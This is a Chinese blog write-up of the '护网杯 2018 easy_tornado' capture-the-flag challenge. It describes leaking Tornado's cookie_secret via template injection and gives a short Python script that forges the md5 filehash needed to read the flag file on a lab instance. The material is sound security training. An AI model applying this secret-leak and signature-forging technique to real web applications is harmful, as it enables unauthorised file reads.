[护网杯 2018]easy_tornado 1

最新推荐文章于 2024-07-20 17:49:22 发布

咸鱼一方

最新推荐文章于 2024-07-20 17:49:22 发布

阅读量536

点赞数

CC 4.0 BY-SA版权

文章标签： php

本文链接：https://blog.youkuaiyun.com/dlccom/article/details/124310499

本文讲述了如何通过Tornado框架的cookie_secret找到隐藏文件的MD5校验，揭示了从URL参数到获取cookie_secret再到生成payload的过程，最终成功获取flag。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

打开靶机地址发现三个文件，挨个看一下
隐藏文件给了个md5算法
http://d7922331-263c-41d9-9ede-8376b75f8650.node4.buuoj.cn:81/file?filename=/hints.txt&filehash=62b526069e0980a51fd5b8c9fb1ff82a
url如上，filename是知道的，cookie_secret是个啥
这里的filehash应该就是md5算法算出来的32位的值，所以要找到cookie_secret，刚开始我以为cookie_secret就是网站的COOKIE，带入公式算了半天跟filehash对不上，那肯定就是错误的。所以去搜了一下tornado框架的cookie_secret，说实话没看懂。
找了别的大神的writeup，大概知道了handler.settings就指向RequestHandler.application.settings
cookie_secret这个属性就在RequestHandler.application.settings中，所以通过渲染模板注入拿到cookie_secret
然后写个脚本跑一下拿到filehash


import sys
import hashlib
cookie="c96e24b8-1db5-418d-9c12-c6fda6232763"
#cookie="cookie_secret"
filename="/fllllllllllllag"
md = hashlib.md5()
md.update(filename.encode('utf-8'))
finename_md=md.hexdigest()
#finename_md=str(finename_md)
#print(type(filename))
a=cookie+finename_md
#md.update((cookie+finename_md).encode('utf-8'))
md = hashlib.md5()
md.update(a.encode('utf-8'))
result_md=md.hexdigest()
print(finename_md)
print(result_md)